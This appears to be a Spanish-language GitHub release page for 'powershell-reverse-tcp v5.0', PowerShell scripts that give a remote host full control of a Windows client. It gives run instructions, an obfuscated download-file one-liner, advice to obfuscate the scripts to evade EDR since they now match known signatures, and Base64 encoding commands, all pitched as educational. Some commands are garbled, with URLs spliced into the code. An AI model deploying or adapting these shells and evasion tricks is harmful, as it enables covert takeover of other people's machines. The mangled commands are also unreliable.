Volver a actualizaciones
Nuevo releaseAug 16, 2026

powershell-reverse-tcp v5.0

Scripts de PowerShell para comunicarse con un host remoto.

Compartir

PowerShell Reverse TCP

Scripts de PowerShell para comunicarse con un host remoto.

El host remoto tendrá control total sobre el cliente y todos los comandos del sistema subyacente.

Consulta los shells basados en:

  • comando Invoke-Expression de PowerShell aquí,
  • tuberías de proceso aquí.

Probado con PowerShell v5.1.19041.2673 en Windows 10 Enterprise OS (64-bit).

Creado con fines educativos. ¡Espero que sea de ayuda!

Este repositorio ha empezado a tener firmas conocidas y no tengo tiempo para subir nuevos scripts cada vez, por lo que deberías ofuscar estos scripts tú mismo.

Planes futuros:

  • más shells basados en tuberías de proceso, y optimizarlos aún más.

Tabla de Contenidos

Cómo Ejecutar

Cambia la dirección IP y el número de puerto dentro de los scripts según sea necesario.

Abre PowerShell desde \src\invoke_expression\original\ o \src\process_pipes\original\ y ejecuta los comandos que se muestran a continuación.

Establece la directiva de ejecución:```pwsh Set-ExecutionPolicy Unrestricted

Ejecuta el script:```pwsh
.\powershell_reverse_tcp.ps1

O, ejecute el siguiente comando desde PowerShell o Command Prompt:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

## Ofuscar Scripts de PowerShell

Intente evadir el EDR y otros mecanismos de seguridad ofuscando sus scripts. Puede ver dichas ofuscaciones en los ejemplos siguientes.

Comando original de PowerShell:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)

Comando de PowerShell ofuscado:```pwsh & (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'

**Consulta el script original de PowerShell [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) y el completamente ofuscado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**

Después de la [ofuscación manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), el script original de PowerShell fue ofuscado con [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). ¡Créditos al autor!

Busca en Internet técnicas y métodos de ofuscación adicionales.

P.D. Debido a que PowerShell se actualiza constantemente, algunas expresiones regulares (p. ej. `*ke-E*`) pueden comenzar a lanzar excepciones debido a que múltiples métodos coinciden con la misma expresión, por lo que será necesario especificar las expresiones un poco mejor.

### Comando Codificado de PowerShell

Para generar un comando codificado de PowerShell a partir de un script de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))

Para decodificar un comando codificado de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))

Utilice las líneas de comando a continuación si no desea dejar ningún rastro.

---

Categorías